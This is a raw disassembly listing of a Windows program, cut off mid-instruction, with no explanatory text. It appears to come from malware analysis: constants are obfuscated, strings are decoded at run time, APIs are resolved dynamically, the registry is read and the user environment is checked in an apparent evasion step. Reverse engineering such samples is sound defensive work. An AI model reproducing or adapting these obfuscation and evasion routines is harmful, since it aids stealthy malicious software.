loc_43E2D4: ; CODE XREF: sub_43E04C+86j lea eax, [ebp+var_18] push eax call ds:dword_550034 mov eax, dword_55109C add eax, dword_5511E4 sub eax, 0Ch cmp ebx, eax jz short $+2 loc_43E2F0: ; CODE XREF: sub_43E04C+34j pop edi pop esi pop ebx leave retn sub_43E04C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E2F5 proc near ; DATA XREF: sub_442767+Eo var_1FFF = byte ptr -1FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_44797C push ebx push esi push edi push 1FFFh lea eax, [ebp+var_1FFF] push eax push [ebp+arg_0] call ds:dword_550038 push offset dword_5522E4 call sub_43AC94 movsx edi, word_5510EC inc edi push edi push eax lea edi, [ebp+var_1FFF] push edi call sub_442127 add esp, 10h movsx esi, word_5511C8 movsx ebx, word_551180 lea esi, [esi+ebx+0FFF6h] cmp eax, esi jz short loc_43E35F push [ebp+arg_0] call sub_446555 pop ecx loc_43E35F: ; CODE XREF: sub_43E2F5+5Fj xor eax, eax inc eax pop edi pop esi pop ebx leave retn 8 sub_43E2F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E369 proc near ; CODE XREF: sub_43BF49+18p ; sub_43E04C+18Fp ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push ebx push esi push edi push 0 push 80h push 3 push 0 push 3 push 80000000h push [ebp+arg_0] call ds:dword_54FC18 mov edi, eax mov eax, dword_5511F8 add eax, 0FFFFFFF8h cmp edi, eax jnz short loc_43E3C8 movsx eax, word_5511A8 add eax, dword_55118C cmp [ebp+arg_4], eax jz short loc_43E3C4 mov eax, [ebp+arg_4] movsx edx, word_5511CC movsx ecx, word_551274 add edx, ecx sub edx, 7 mov [eax], edx loc_43E3C4: ; CODE XREF: sub_43E369+41j xor eax, eax jmp short loc_43E424 ; --------------------------------------------------------------------------- loc_43E3C8: ; CODE XREF: sub_43E369+2Fj movsx eax, word_5511C8 add eax, dword_551158 sub eax, 8 push eax push edi call ds:dword_4CEA14 mov esi, eax add eax, 10h push eax push 40h call ds:dword_48B9EC mov ebx, eax movsx eax, word_551234 sub eax, 4 push eax cmp [ebp+arg_4], 0 jz short loc_43E409 mov eax, [ebp+arg_4] mov [ebp+var_8], eax jmp short loc_43E40F ; --------------------------------------------------------------------------- loc_43E409: ; CODE XREF: sub_43E369+96j lea eax, [ebp+var_4] mov [ebp+var_8], eax loc_43E40F: ; CODE XREF: sub_43E369+9Ej push [ebp+var_8] push esi push ebx push edi call ds:dword_448034 push edi call ds:dword_4CDA48 mov eax, ebx loc_43E424: ; CODE XREF: sub_43E369+5Dj pop edi pop esi pop ebx leave retn sub_43E369 endp ; =============== S U B R O U T I N E ======================================= sub_43E429 proc near ; CODE XREF: sub_43E491+16p push edi push offset byte_5522D5 call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_5512A8, eax movsx eax, word_551188 sub eax, 5 cmp dword_5512A8, eax jnz short loc_43E46A push offset word_5522C6 call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_5512A8, eax loc_43E46A: ; CODE XREF: sub_43E429+28j push offset dword_5522B0 call sub_43AC94 pop ecx push eax push dword_5512A8 call ds:dword_44B1AC mov ds:dword_448028, eax pop edi retn sub_43E429 endp ; =============== S U B R O U T I N E ======================================= sub_43E489 proc near ; DATA XREF: .data:005512D4o mov eax, 80004001h retn 18h sub_43E489 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E491 proc near ; DATA XREF: sub_43F4C7+Co ; sub_43F4C7+15o ... var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_14D = byte ptr -14Dh var_14C = dword ptr -14Ch var_147 = byte ptr -147h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 264h push ebx push esi push edi call sub_43E9BF call sub_441DD6 call sub_43E429 call sub_43B841 call sub_43A8C0 call sub_443F15 call sub_444A15 call sub_441EAC call sub_445BAD call sub_44018C call sub_43F26D call sub_445E14 call sub_43F031 mov ebx, eax loc_43E4E0: ; CODE XREF: sub_43E491+B2j call sub_43FB57 mov edx, eax mov [ebp+var_14D], dl movsx eax, word_551170 inc eax movzx edx, [ebp+var_14D] cmp eax, edx jnz short loc_43E518 mov eax, dword_5511E0 movsx edx, word_551228 add eax, edx sub eax, 0Eh push eax call ds:dword_54EA60 loc_43E518: ; CODE XREF: sub_43E491+6Dj movzx eax, [ebp+var_14D] movsx edx, word_551140 sub edx, 4 cmp eax, edx jnz short loc_43E545 mov eax, dword_551138 add eax, 59h add eax, dword_5510A8 push eax call ds:dword_50EA24 pop ecx jmp short loc_43E4E0 ; --------------------------------------------------------------------------- loc_43E545: ; CODE XREF: sub_43E491+9Aj call ds:dword_54EB70 mov [ebp+var_48], eax mov eax, dword_551208 add eax, dword_551124 sub eax, 0Bh cmp ebx, eax jnz loc_43E66C push 0FFh lea eax, [ebp+var_24C] push eax mov eax, dword_551238 movsx edx, word_551214 add eax, edx sub eax, 9 push eax push 400h call ds:dword_44B5A8 movsx eax, [ebp+var_24C] add [ebp+var_48], eax push offset byte_5522A5 call sub_43AC94 mov [ebp+var_25C], eax push offset byte_55229B call sub_43AC94 push eax mov edi, [ebp+var_25C] push edi lea edi, [ebp+var_147] push edi call ds:dword_50EA28 lea eax, [ebp+var_147] push eax push 0 mov eax, dword_551204 add eax, dword_551134 sub eax, 0Bh push eax call ds:dword_4CEA0C mov esi, eax push offset asc_55228F ; "\b" call sub_43AC94 mov [ebp+var_260], eax push offset byte_552285 call sub_43AC94 push dword_5511D4 push eax mov edi, [ebp+var_260] push edi lea edi, [ebp+var_147] push edi call ds:dword_50EA28 add esp, 2Ch lea eax, [ebp+var_147] push eax push 1 mov eax, dword_551204 sub eax, 3 push eax call ds:dword_4CEA0C mov esi, eax mov eax, dword_5511E4 sub eax, 5 cmp eax, esi jnz short loc_43E653 mov eax, dword_551230 sub eax, 4 push eax call ds:dword_54EA60 loc_43E653: ; CODE XREF: sub_43E491+1B1j movsx eax, word_551120 mov edx, dword_5510B8 lea eax, [eax+edx-0Ch] push eax push esi call ds:dword_50EA20 loc_43E66C: ; CODE XREF: sub_43E491+CDj movsx eax, word_5511CC add eax, dword_5510A8 sub eax, 5 add eax, [ebp+var_48] push eax call ds:dword_4CE9F4 mov eax, dword_551148 add eax, dword_55122C sub eax, 8 push eax call ds:dword_44B598 mov [ebp+var_14C], eax call sub_43EF58 mov eax, dword_5511E4 sub eax, 5 mov [ebp+var_3C], eax push offset byte_55227B call sub_43AC94 mov [ebp+var_20], eax mov eax, dword_551218 add eax, dword_5510DC sub eax, 8 mov [ebp+var_2C], eax mov eax, dword_551090 dec eax mov [ebp+var_38], eax mov [ebp+var_28], 5 movsx eax, word_551214 sub eax, 3 mov [ebp+var_30], eax mov [ebp+var_44], 3 mov eax, dword_551230 sub eax, 5 mov [ebp+var_24], eax mov eax, [ebp+var_14C] mov [ebp+var_34], eax lea eax, sub_43BC33 mov [ebp+var_40], eax lea eax, [ebp+var_44] push eax call ds:dword_44B090 mov edi, [ebp+var_20] movsx eax, byte ptr [edi] movsx ecx, [ebp+var_24C] cdq idiv ecx mov [ebp+var_258], eax push offset byte_552271 call sub_43AC94 mov [ebp+var_264], eax push offset byte_552267 call sub_43AC94 mov edi, dword_551134 sub edi, 8 push edi push [ebp+var_14C] mov edi, dword_5511F4 sub edi, 5 push edi movsx edi, word_551274 dec edi push edi mov edi, dword_551154 sub edi, 7 push edi movsx edi, word_551224 movsx edx, word_551260 add edi, edx sub edi, 0Bh push edi movsx edi, word_5511BC mov edx, edi sub edx, 5 push edx add edi, dword_5511B4 sub edi, 6 push edi push 0CA0000h push eax mov edi, [ebp+var_264] push edi movsx edi, word_55115C sub edi, 3 push edi call ds:dword_4CDA3C mov ds:dword_44B5C0, eax lea eax, [ebp+var_250] push eax push [ebp+var_14C] call sub_4464E5 mov [ebp+var_254], eax mov ds:dword_4CEA00, eax mov eax, [ebp+var_250] mov ds:dword_44B5C4, eax push 0 call sub_43FCCD add esp, 1Ch mov eax, dword_5510B8 sub eax, 8 cmp ebx, eax jnz short loc_43E81F call sub_443F03 movsx eax, word_5510D8 add eax, dword_551130 sub eax, 0Ch mov ds:dword_50EA2C, eax jmp short loc_43E834 ; --------------------------------------------------------------------------- loc_43E81F: ; CODE XREF: sub_43E491+370j mov eax, dword_5510C0 add eax, 3A94h add eax, dword_551138 mov ds:dword_50EA2C, eax loc_43E834: ; CODE XREF: sub_43E491+38Cj push offset sub_43CB55 call sub_43AD8B pop ecx mov eax, dword_551174 movsx edx, word_551168 add eax, edx sub eax, 5 cmp eax, ebx jnz short loc_43E883 call sub_441AE5 call sub_4461CC call sub_442C15 call sub_43A324 call sub_442A78 jmp short loc_43E883 ; --------------------------------------------------------------------------- loc_43E86F: ; CODE XREF: sub_43E491+430j lea eax, [ebp+var_1C] push eax call ds:dword_54EC00 lea eax, [ebp+var_1C] push eax call ds:dword_449018 loc_43E883: ; CODE XREF: sub_43E491+3C1j ; sub_43E491+3DCj mov eax, dword_5510D0 add eax, dword_55122C sub eax, 5 push eax mov eax, dword_551098 movsx edx, word_551110 add eax, edx sub eax, 3 push eax movsx eax, word_551120 add eax, dword_5510DC sub eax, 0Ah push eax lea eax, [ebp+var_1C] push eax call ds:dword_4CC648 or eax, eax jnz short loc_43E86F pop edi pop esi pop ebx leave retn 4 sub_43E491 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E8CA proc near ; CODE XREF: sub_440485+3DCp ; sub_440485+4EFp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] xor edx, edx div esi movsx edi, word_551214 add edi, dword_55113C sub edi, 0Ch cmp edx, edi jnz short loc_43E8F5 mov eax, [ebp+arg_0] jmp short loc_43E90F ; --------------------------------------------------------------------------- loc_43E8F5: ; CODE XREF: sub_43E8CA+24j mov eax, [ebp+arg_0] xor edx, edx div esi mov [ebp+var_8], eax mov edi, eax mul esi mov [ebp+var_C], eax mov edi, eax add edi, esi mov [ebp+var_4], edi mov eax, edi loc_43E90F: ; CODE XREF: sub_43E8CA+29j pop edi pop esi leave retn sub_43E8CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E913 proc near ; CODE XREF: sub_43B045+AFp ; sub_43B045+FEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, esi and eax, [ebp+arg_8] mov edx, esi not edx and edx, [ebp+arg_C] or eax, edx add eax, [ebp+arg_18] add eax, [ebp+arg_10] add eax, edi mov edi, eax push [ebp+arg_14] push edi call sub_4420F4 add esp, 8 mov edi, esi add edi, eax mov eax, edi pop edi pop esi pop ebp retn sub_43E913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E94C proc near ; DATA XREF: .data:off_551304o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] push offset byte_550140 push edi call ds:dword_50EA3C or eax, eax jnz short loc_43E988 push offset dword_552A24 push edi call ds:dword_50EA3C or eax, eax jnz short loc_43E988 push offset dword_5529E4 push edi call ds:dword_50EA3C or eax, eax jz short loc_43E998 loc_43E988: ; CODE XREF: sub_43E94C+1Aj ; sub_43E94C+2Aj mov eax, [ebp+arg_0] mov [esi], eax push dword ptr [esi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_43E9B0 ; --------------------------------------------------------------------------- loc_43E998: ; CODE XREF: sub_43E94C+3Aj mov eax, dword_5510DC movsx edx, word_551224 add eax, edx sub eax, 9 mov [esi], eax mov eax, 80004002h loc_43E9B0: ; CODE XREF: sub_43E94C+4Aj pop edi pop esi pop ebx pop ebp retn 0Ch sub_43E94C endp ; =============== S U B R O U T I N E ======================================= sub_43E9B7 proc near ; DATA XREF: .data:005512F0o mov eax, 80004001h retn 10h sub_43E9B7 endp ; =============== S U B R O U T I N E ======================================= sub_43E9BF proc near ; CODE XREF: sub_43E491+Cp push edi push offset dword_55225C call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_551294, eax mov eax, dword_551178 sub eax, 3 cmp dword_551294, eax jnz short loc_43E9FE push offset byte_552251 call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_551294, eax loc_43E9FE: ; CODE XREF: sub_43E9BF+26j mov eax, dword_551294 cmp dword_5511A0, eax jz short loc_43EA28 push offset byte_55223B call sub_43AC94 pop ecx push eax push dword_551294 call ds:dword_44B1AC mov ds:dword_44B5B4, eax loc_43EA28: ; CODE XREF: sub_43E9BF+4Aj pop edi retn sub_43E9BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EA2A proc near ; CODE XREF: sub_441AE5+91p var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_1A0 = byte ptr -1A0h var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_193 = dword ptr -193h var_18F = dword ptr -18Fh var_18B = dword ptr -18Bh var_187 = dword ptr -187h var_183 = dword ptr -183h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ACh push ebx push esi push edi mov edi, [ebp+arg_0] mov [ebp+var_193], 94h lea eax, [ebp+var_193] push eax call ds:dword_550028 mov eax, dword_5510B4 sub eax, 3 mov byte ptr [edi+eax], 58h mov eax, dword_55121C mov byte ptr [edi+eax], 39h mov eax, dword_551244 add eax, dword_55116C sub eax, 0Eh movsx edx, word_5510A0 movsx ecx, word_5511C4 add edx, ecx sub edx, 0Eh mov [edi+eax], dl cmp [ebp+var_183], 2 jnz short loc_43EAB3 mov eax, dword_551118 sub eax, 8 mov byte ptr [edi+eax], 54h mov eax, dword_5511F0 movsx edx, word_5510B0 add eax, edx sub eax, 0Ah mov byte ptr [edi+eax], 4Eh loc_43EAB3: ; CODE XREF: sub_43EA2A+66j push offset byte_55222F call sub_43AC94 push [ebp+var_187] push [ebp+var_18B] push [ebp+var_18F] push eax lea ebx, [ebp+var_FF] push ebx call ds:dword_50EA28 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C push offset dword_552228 call sub_43AC94 mov ebx, dword_5510C4 movsx edx, word_551224 add ebx, edx sub ebx, 0Bh push ebx movsx ebx, word_551104 add ebx, dword_5511D4 sub ebx, 0Eh push ebx lea ebx, [ebp+var_1A0] push ebx lea ebx, [ebp+var_1A0] push ebx lea ebx, [ebp+var_19C] push ebx push 0FFh lea ebx, [ebp+var_FF] push ebx push eax call ds:dword_4CEA04 push offset dword_552220 call sub_43AC94 push [ebp+var_19C] push eax lea ebx, [ebp+var_FF] push ebx call ds:dword_50EA28 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C push 0FFh lea eax, [ebp+var_FF] push eax mov eax, dword_551190 sub eax, 3 push eax push 400h call ds:dword_44B5A8 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C push offset byte_55221B call sub_43AC94 push eax push edi call ds:dword_44802C mov [ebp+var_198], 0FFh push offset word_5521EE call sub_43AC94 mov [ebp+var_1A8], eax push offset byte_5521E1 call sub_43AC94 lea ebx, [ebp+var_1A4] push ebx lea ebx, [ebp+var_198] push ebx lea ebx, [ebp+var_FF] push ebx push eax mov ebx, [ebp+var_1A8] push ebx push 80000002h call sub_440281 add esp, 70h mov esi, eax mov eax, dword_5510A4 sub eax, 8 cmp eax, esi jnz short loc_43EC1C lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C add esp, 8 jmp short loc_43EC87 ; --------------------------------------------------------------------------- loc_43EC1C: ; CODE XREF: sub_43EA2A+1DDj mov [ebp+var_198], 0FFh push offset asc_5521B1 ; "," call sub_43AC94 mov [ebp+var_1AC], eax push offset asc_5521A4 ; "\t" call sub_43AC94 lea ebx, [ebp+var_1A4] push ebx lea ebx, [ebp+var_198] push ebx lea ebx, [ebp+var_FF] push ebx push eax mov ebx, [ebp+var_1AC] push ebx push 80000002h call sub_440281 add esp, 20h mov esi, eax mov eax, dword_55121C inc eax cmp esi, eax jnz short loc_43EC87 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C add esp, 8 loc_43EC87: ; CODE XREF: sub_43EA2A+1F0j ; sub_43EA2A+24Aj pop edi pop esi pop ebx leave retn sub_43EA2A endp ; =============== S U B R O U T I N E ======================================= sub_43EC8C proc near ; DATA XREF: .data:00551318o mov eax, 80004001h retn 18h sub_43EC8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EC94 proc near ; CODE XREF: sub_4457CD+4Ap var_10030 = byte ptr -10030h var_1002C = dword ptr -1002Ch var_10028 = dword ptr -10028h var_10024 = dword ptr -10024h var_10020 = byte ptr -10020h var_10018 = dword ptr -10018h var_10010 = dword ptr -10010h var_1000C = dword ptr -1000Ch var_10008 = dword ptr -10008h var_10004 = dword ptr -10004h var_FFFF = byte ptr -0FFFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10030h call sub_44797C push ebx push esi push edi mov eax, dword_551124 add eax, dword_5510A4 sub eax, 12h cmp dword_5512DC, eax jnz short loc_43ECD0 movsx eax, word_551188 add eax, 5 cmp ds:dword_44B5D0, eax jb loc_43EF53 loc_43ECD0: ; CODE XREF: sub_43EC94+24j lea eax, [ebp+var_10020] push eax call ds:dword_448048 lea eax, [ebp+var_10030] push eax lea eax, [ebp+var_10020] push eax push 9 movsx eax, word_551240 dec eax push eax push [ebp+arg_0] call ds:dword_4CC324 mov edi, eax mov eax, dword_551244 sub eax, 7 cmp edi, eax jnz loc_43EF53 movsx eax, word_551260 add eax, dword_5510BC sub eax, 9 mov [ebp+var_10008], eax mov esi, [ebp+var_10018] lea eax, [ebp+var_10008] push eax push offset dword_552AA4 push esi mov edx, [esi] call dword ptr ds:0[edx] mov edi, eax movsx eax, word_551180 sub eax, 2 cmp edi, eax jnz loc_43EF53 lea eax, [ebp+var_10024] push eax mov eax, [ebp+var_10008] push eax mov edx, [eax] call dword ptr [edx+78h] mov edi, eax mov eax, dword_55125C sub eax, 5 cmp eax, edi jnz loc_43EF4D lea eax, [ebp+var_FFFF] push eax push [ebp+var_10024] call sub_44582B add esp, 8 push [ebp+var_10024] call ds:dword_550034 movsx eax, word_551228 cmp byte ptr [ebp+eax+var_10004+1], 74h jnz short loc_43EDDD movsx eax, word_5510D8 cmp byte ptr [ebp+eax+var_10008], 68h jnz short loc_43EDDD mov eax, dword_5511F8 cmp byte ptr [ebp+eax+var_10004+1], 70h jnz short loc_43EDDD mov eax, dword_551204 cmp byte ptr [ebp+eax+var_10004+3], 74h jz short loc_43EDE2 loc_43EDDD: ; CODE XREF: sub_43EC94+118j ; sub_43EC94+129j ... jmp loc_43EF4D ; --------------------------------------------------------------------------- loc_43EDE2: ; CODE XREF: sub_43EC94+147j lea eax, [ebp+var_10010] push eax mov eax, [ebp+var_10008] push eax mov edx, [eax] call dword ptr [edx+48h] mov edi, eax mov eax, dword_5510A4 add eax, dword_55118C sub eax, 9 cmp eax, edi jnz loc_43EF4D lea eax, [ebp+var_10004] push eax push offset dword_552A34 mov eax, [ebp+var_10010] push eax mov edx, [eax] call dword ptr ds:0[edx] mov edi, eax mov eax, dword_55118C movsx edx, word_551168 add eax, edx sub eax, 4 cmp edi, eax jnz loc_43EF41 lea eax, [ebp+var_1000C] push eax mov eax, [ebp+var_10004] push eax mov edx, [eax] call dword ptr [edx+1B0h] mov edi, eax mov eax, dword_551138 add eax, dword_5511D0 sub eax, 6 cmp eax, edi jnz loc_43EF35 lea eax, [ebp+var_10028] push eax mov eax, [ebp+var_1000C] push eax mov edx, [eax] call dword ptr [edx+70h] mov edi, eax movsx eax, word_55112C sub eax, 5 cmp eax, edi jz short loc_43EEA6 mov eax, [ebp+var_1000C] push eax mov eax, [eax] call dword ptr [eax+8] jmp loc_43EF35 ; --------------------------------------------------------------------------- loc_43EEA6: ; CODE XREF: sub_43EC94+1FFj xor ebx, ebx mov eax, [ebp+var_10028] cmp [ebp+var_1000C], eax jz short loc_43EEB9 xor ebx, ebx inc ebx loc_43EEB9: ; CODE XREF: sub_43EC94+220j mov eax, [ebp+var_1000C] push eax mov eax, [eax] call dword ptr [eax+8] mov eax, [ebp+var_10028] push eax mov eax, [eax] call dword ptr [eax+8] lea eax, [ebp+var_1002C] push eax mov eax, [ebp+var_10004] push eax mov edx, [eax] call dword ptr [edx+20h] mov edi, eax movsx eax, word_551104 add eax, dword_551190 sub eax, 0Bh cmp edi, eax jnz short loc_43EF35 push ebx lea eax, [ebp+var_FFFF] push eax push [ebp+var_10008] push [ebp+var_1002C] push [ebp+var_10004] call sub_44230D add esp, 14h or ebx, ebx jnz short loc_43EF35 push [ebp+var_1002C] push [ebp+var_10004] push esi call sub_43E04C add esp, 0Ch loc_43EF35: ; CODE XREF: sub_43EC94+1D8j ; sub_43EC94+20Dj ... mov eax, [ebp+var_10004] push eax mov eax, [eax] call dword ptr [eax+8] loc_43EF41: ; CODE XREF: sub_43EC94+1AAj mov eax, [ebp+var_10010] push eax mov eax, [eax] call dword ptr [eax+8] loc_43EF4D: ; CODE XREF: sub_43EC94+E2j ; sub_43EC94:loc_43EDDDj ... push esi mov eax, [esi] call dword ptr [eax+8] loc_43EF53: ; CODE XREF: sub_43EC94+36j ; sub_43EC94+77j ... pop edi pop esi pop ebx leave retn sub_43EC94 endp ; =============== S U B R O U T I N E ======================================= sub_43EF58 proc near ; CODE XREF: sub_43E491+210p push edi mov eax, dword_5510A4 add eax, dword_551190 sub eax, 0Eh mov ds:dword_4CE9F0, eax mov eax, dword_5511D0 mov edi, eax add edi, dword_551218 sub edi, 3 jmp short loc_43EF8E ; --------------------------------------------------------------------------- loc_43EF7E: ; CODE XREF: sub_43EF58+42j mov eax, dword_5511D8 sub eax, 7 mov ds:byte_48C1F0[edi], al inc edi loc_43EF8E: ; CODE XREF: sub_43EF58+24j mov eax, dword_551238 add eax, 0F6h cmp edi, eax jb short loc_43EF7E mov eax, dword_551218 movsx edx, word_5510D8 movsx ecx, word_5511C4 lea edx, [edx+ecx+50h] mov byte ptr ds:dword_48C1EC+3[eax], dl mov eax, ds:dword_4CE9F0 mov edx, dword_5511E8 dec edx add eax, edx mov edx, dword_551150 add edx, 0E5h mov ds:byte_48C1F0[eax], dl mov eax, ds:dword_4CE9F0 mov edx, dword_551204 inc edx add edx, dword_551090 add eax, edx mov edx, dword_551244 add edx, 5Ah mov ds:byte_48C1F0[eax], dl mov eax, ds:dword_4CE9F0 mov edx, dword_551160 add edx, 0E3h mov ds:byte_48C1F0[eax], dl movsx eax, word_5511A8 movsx edx, word_551140 lea eax, [eax+edx+6] add ds:dword_4CE9F0, eax pop edi retn sub_43EF58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F031 proc near ; CODE XREF: sub_43E491+48p var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_10F = byte ptr -10Fh var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi call sub_43BC51 mov edx, dword_5510C0 dec edx cmp edx, eax jnz short loc_43F054 xor eax, eax jmp loc_43F260 ; --------------------------------------------------------------------------- loc_43F054: ; CODE XREF: sub_43F031+1Aj mov [ebp+var_204], 0FFh lea eax, [ebp+var_204] push eax lea eax, [ebp+var_FF] push eax call ds:dword_44B5A0 mov eax, dword_551134 add eax, dword_55126C movsx eax, [ebp+eax+var_10F] movsx edx, word_5510E4 cmp eax, edx jnz short loc_43F098 xor eax, eax inc eax jmp loc_43F260 ; --------------------------------------------------------------------------- loc_43F098: ; CODE XREF: sub_43F031+5Dj push offset word_55219A call sub_43AC94 mov edx, dword_551164 inc edx push edx push eax lea edx, [ebp+var_FF] push edx call sub_442127 add esp, 10h mov ecx, dword_5510C0 add ecx, 0FFFEh cmp eax, ecx jz short loc_43F0D2 xor eax, eax inc eax jmp loc_43F260 ; --------------------------------------------------------------------------- loc_43F0D2: ; CODE XREF: sub_43F031+97j push offset word_55218E call sub_43AC94 mov edx, dword_5511F0 sub edx, 8 push edx push eax lea edx, [ebp+var_FF] push edx call sub_442127 add esp, 10h mov ecx, dword_5511D8 add ecx, 0FFF8h cmp ecx, eax jz short loc_43F10E xor eax, eax inc eax jmp loc_43F260 ; --------------------------------------------------------------------------- loc_43F10E: ; CODE XREF: sub_43F031+D3j mov [ebp+var_208], 0FFh lea eax, [ebp+var_208] push eax lea eax, [ebp+var_1FE] push eax call ds:dword_448040 push offset byte_552189 call sub_43AC94 push eax lea edx, [ebp+var_1FE] push edx call ds:dword_44802C mov eax, dword_5511B8 sub eax, 6 push eax lea eax, [ebp+var_FF] push eax lea eax, [ebp+var_1FE] push eax call sub_442127 add esp, 18h mov edx, dword_55116C add edx, 0FFF6h cmp eax, edx jz short loc_43F17B xor eax, eax inc eax jmp loc_43F260 ; --------------------------------------------------------------------------- loc_43F17B: ; CODE XREF: sub_43F031+140j call ds:dword_4CEA1C mov esi, eax xor ebx, ebx mov edi, esi loc_43F187: ; CODE XREF: sub_43F031+218j mov eax, dword_5511E0 sub eax, 9 movzx eax, byte ptr [edi+eax] movsx edx, word_5510F0 sub edx, 3 cmp eax, edx jz loc_43F24E mov ecx, edi or eax, 0FFFFFFFFh loc_43F1AA: ; CODE XREF: sub_43F031+17Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F1AA mov [ebp+var_20C], eax push offset byte_55217F call sub_43AC94 add esp, 4 push dword_551158 push eax push edi call sub_442127 add esp, 0Ch mov edx, eax movsx ecx, word_551168 movsx eax, word_55115C lea ecx, [ecx+eax+0FFF8h] cmp ecx, edx jz short loc_43F1F6 mov ebx, 1 jmp short loc_43F24E ; --------------------------------------------------------------------------- loc_43F1F6: ; CODE XREF: sub_43F031+1BCj push offset word_55216E call sub_43AC94 push dword_55122C push eax push edi call sub_442127 add esp, 10h mov edx, eax movsx ecx, word_551228 mov eax, dword_5511D0 lea ecx, [ecx+eax+0FFF6h] cmp edx, ecx jz short loc_43F22E xor ebx, ebx inc ebx jmp short loc_43F24E ; --------------------------------------------------------------------------- loc_43F22E: ; CODE XREF: sub_43F031+1F6j mov eax, [ebp+var_20C] mov edx, dword_5510F4 add edx, dword_551204 sub edx, 4 add edx, edi mov edi, eax add edi, edx jmp loc_43F187 ; --------------------------------------------------------------------------- loc_43F24E: ; CODE XREF: sub_43F031+16Ej ; sub_43F031+1C3j ... push esi call ds:dword_4CDA44 or ebx, ebx jz short loc_43F25E xor eax, eax inc eax jmp short loc_43F260 ; --------------------------------------------------------------------------- loc_43F25E: ; CODE XREF: sub_43F031+226j xor eax, eax loc_43F260: ; CODE XREF: sub_43F031+1Ej ; sub_43F031+62j ... pop edi pop esi pop ebx leave retn sub_43F031 endp ; =============== S U B R O U T I N E ======================================= sub_43F265 proc near ; DATA XREF: .data:005512CCo mov eax, 80004001h retn 8 sub_43F265 endp ; =============== S U B R O U T I N E ======================================= sub_43F26D proc near ; CODE XREF: sub_43E491+3Ep push edi push offset byte_55215F call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_5512A4, eax mov eax, dword_551134 sub eax, 8 cmp dword_5512A4, eax jnz short loc_43F2AC push offset dword_552150 call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_5512A4, eax loc_43F2AC: ; CODE XREF: sub_43F26D+26j push offset dword_552138 call sub_43AC94 pop ecx push eax push dword_5512A4 call ds:dword_44B1AC mov ds:dword_449FC4, eax pop edi retn sub_43F26D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F2CB proc near ; CODE XREF: sub_43A59E+67p var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = word ptr -80h var_40 = word ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi lea eax, dword_54EBC0 mov [ebp+var_88], eax movsx eax, word_551228 movsx edx, word_5511BC mov ebx, eax add ebx, edx sub ebx, 0Bh jmp short loc_43F309 ; --------------------------------------------------------------------------- loc_43F2FA: ; CODE XREF: sub_43F2CB+52j mov edx, dword_5510B4 sub edx, 4 mov [ebp+ebx*2+var_40], dx inc ebx loc_43F309: ; CODE XREF: sub_43F2CB+2Dj movsx eax, word_551140 movsx edx, word_551228 lea eax, [eax+edx+15h] cmp ebx, eax jb short loc_43F2FA movsx eax, word_551210 mov esi, eax add esi, dword_5511FC sub esi, 3 jmp short loc_43F344 ; --------------------------------------------------------------------------- loc_43F333: ; CODE XREF: sub_43F2CB+89j mov edx, esi shl edx, 1 mov ecx, 